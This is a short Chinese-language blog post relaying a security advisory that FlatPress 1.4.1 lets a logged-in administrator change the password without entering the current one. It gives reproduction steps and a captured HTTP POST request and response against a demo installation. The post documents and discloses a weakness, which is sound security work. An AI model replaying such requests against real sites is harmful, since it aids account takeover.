FlatPress 1.4.1 密码更改漏洞分析:无需当前密码即可修改密码

本文详细分析了FlatPress 1.4.1版本中存在的安全漏洞,攻击者可在登录后无需验证当前密码即可直接修改管理员密码,包含完整的HTTP请求和响应数据。

漏洞标题:更改密码时无需验证当前密码 - FlatPress 1.4.1

日期:2025年9月

漏洞作者:Andrey Stoykov

版本:1.4.1

测试环境:Debian 12

博客链接:https://msecureltd.blogspot.com/2025/09/friday-fun-pentest-series-42-current.html

漏洞描述:更改密码时无需验证当前密码

复现步骤:

  • 使用管理员账户登录,访问"Main" > “Configuration” > “General Settings”
  • 更改密码时无需输入当前密码

HTTP POST 请求

1
2
3
4
5
6
POST /FlatPressc4hak4mvef/admin.php?p=config&action=default HTTP/1.1
Host: demos5.softaculous.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
[...]

_wpnonce=c1d6797fb9&_wp_http_referer=%2FFlatPressc4hak4mvef%2Fadmin.php%3Fp%3Dconfig&admin=admin&password=&confirm_password=&title=FlatPress&subtitle=My+FlatPress+blog&blogfooter=&author=test&www=http%3A%2F%2Fdemos5.softaculous.com%2FFlatPressc4hak4mvef%2F&email=demos%40softaculous.com&notify=on&startpage=%3ANULL%3A&maxentries=5&timeoffset=0&dateformat=%25A%2C+%25B+%25e%2C+%25Y&dateformatshort=%25Y-%25m-%25d&timeformat=%25H%3A%25M%3A%25S&lang=en-us&charset=utf-8&save=Save+Changes

HTTP 响应

1
2
3
4
HTTP/1.1 200 OK
Date: Sun, 21 Sep 2025 15:14:16 GMT
Server: FlatPress
[...]
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计